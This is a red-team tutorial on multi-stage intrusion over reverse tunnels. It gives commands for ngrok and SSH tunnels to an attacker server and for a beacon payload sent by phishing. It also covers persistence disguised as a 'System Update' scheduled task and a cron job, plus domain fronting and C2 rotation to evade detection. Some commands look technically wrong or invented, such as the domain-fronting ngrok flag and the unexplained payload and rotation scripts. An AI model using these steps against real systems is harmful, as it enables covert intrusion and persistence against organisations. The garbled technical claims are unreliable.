Exploring Multi-Stage Intrusion via Reverse Tunnels

In the realm of advanced penetration testing, exploiting multi-stage intrusions through reverse tunnels is a profound technique used for establishing robust command and control (C2) channels. This method offers attackers not only persistence but also consistency in interacting with compromised systems. The allure of reverse tunnels lies in their dual ability: they mask attacker actions and navigate through restrictive network defenses. What separates a high-yield execution from a detectable one is the finesse with which you align your tunneling tools with naturally occurring network traffic patterns. This article equips you with insights into orchestrating seamless and undetectable multi-stage intrusions that mirror those of persistent threat actors.

After engaging with this article, you will have a comprehensive understanding of setting up reverse tunnels, using them effectively within phishing and social engineering campaigns, and maintaining a durable foothold on target systems. By closely following the described methodologies, you’ll enhance your ability to simulate genuine attacker behaviors in your red team engagements, providing valuable insights into organizational vulnerabilities before real attackers can exploit them.

Prerequisites and Setup

Before delving into the meticulous world of reverse tunneling, it’s essential to equip yourself with the right tools and configurations. At the core of this operation are tunneling frameworks like Ngrok, SSH Reverse Tunnels, and command control platforms such as Cobalt Strike. Moreover, ensuring a controlled and monitored environment on isolated networks is paramount. This allows you to evaluate outcomes systematically without impacting actual systems.

First, set up Ngrok by installing it on your system. This requires a valid Ngrok account along with an authentication token to initiate the tunnel:


./ngrok authtoken YOUR_NGROK_AUTH_TOKEN

Command to authenticate your Ngrok setup with your account’s token.

For establishing SSH reverse tunnels, ensure you have access to a Linux machine that can be used as a pivot point. You’ll also require an accessible server or cloud instance (such as AWS or Azure) to serve as the tunnel endpoint.


ssh -R 9090:localhost:22 user@remote_server.com

This command creates a reverse tunnel forwarding traffic from port 9090 on the remote server to port 22 (SSH) on the local host.

Lastly, configure your Cobalt Strike (or another C2 platform) listener to accept incoming connections through these tunnels. Ensuring your firewalls and security settings permit this is crucial. Configuration should mimic legitimate traffic to avoid detection, employing common ports like HTTP (80) or HTTPS (443).

Step-by-Step Execution

Setting Up the Reverse Tunnel

Begin by setting up and verifying the reverse tunnels. Use Ngrok for HTTP tunneling:


./ngrok http 80

Initiating an HTTP reverse tunnel on port 80 via Ngrok, useful for disguising outbound C2 connections as typical web traffic.

Ngrok will provide a public URL, which you can use to route traffic from a phishing page or C2 server. Meanwhile, SSH reverse tunnels can be configured with heavier network applications:


ssh -R 2222:localhost:22 user@attackplatform.com -p 2222

This establishes a more versatile tunnel that routes SSH traffic through an alternate port, enabling remote administration and payload delivery.

Deploying the Payload and Initial C2 Communication

With tunnels prepared, the next step involves crafting and deploying a payload that communicates back through these channels. Leveraging Cobalt Strike to generate a payload reflective of plausible company communication is key.


./gen_payload.sh --http URL_FROM_NGROK --output /tmp/payload.bin

Script to generate a packaged payload directing beacon traffic through your Ngrok-established tunnel.

The payload is then embedded in targeted phishing emails or documents sent during a simulated social engineering campaign. Take care to align the context of the subject and the urgency of the message with current company narratives.

Achieving Persistence with Scheduled Tasks and Crontabs

Once initial access and communication are established, injecting persistence mechanisms ensures long-term system access without raising alarms. On Windows systems, this can be achieved via Task Scheduler:


schtasks /create /sc daily /tn "System Update" /tr "C:\path\to\payload.exe" /st 14:00

Persist your reverse tunnel connection under the guise of a system update, scheduled to run daily at 2 PM.

For Linux systems, use crontab to schedule payload execution:


(crontab -l 2>/dev/null; echo "0 2 * * * /path/to/payload") | crontab -

This cron entry triggers payload execution every day at 2 AM, mimicking routine maintenance tasks.

Advanced Variations

Domain Fronting Using Cloud Providers

Domain fronting can significantly enhance the stealthiness of your reverse tunnels. This involves leveraging cloud service providers like AWS or Google Cloud to mask C2 traffic. The technique deceives filters by routing traffic through seemingly benign domains.


./ngrok http 443 --hostname=example.cloudfront.net

Configuring Ngrok to front through a CloudFront domain, hiding the true endpoint beneath a cloud service facade.

By deploying these advanced techniques, you’ll improve your ability to conduct uninterrupted command and control operations under the radar.

Automated Rotation of C2 Infrastructure

To mitigate detection risks, rotating C2 endpoints and relay domains frequently can create an elusive presence. Incorporate scripts that periodically switch the Ngrok or SSH tunnel endpoints, echoing best practices for elusive APT operations.


./rotate_endpoints.sh --frequency=daily --ngrok-token=YOUR_TOKEN

This ensures that those monitoring network traffic cannot easily pinpoint and shut down your operations.

Good / Better / Best

Good: Deploying static SSH tunnels and C2 communications over traditional ports but still susceptible to basic detection. For instance, basic use of

ssh

tunneling often flagged by IDS.
Better: Using Ngrok with default hostnames paired with phishing pretexts that align with current legitimate business communication. Minimizing suspicion by resembling legit workflows.
Best: Combining domain fronting with automated C2 endpoint rotation, thus closely mimicking legitimate cloud service usage patterns. This provides authenticity to seasoned defenders who might otherwise be skeptical.

Related Concepts

The concept of reverse tunnels ties closely with domain fronting and evasion tactics frequently discussed in the contexts of command and control infrastructures. These techniques can also enhance strategies under the broader scope of network traffic manipulation and advanced phishing campaigns to ensure seamless exfiltration and long-term infiltration.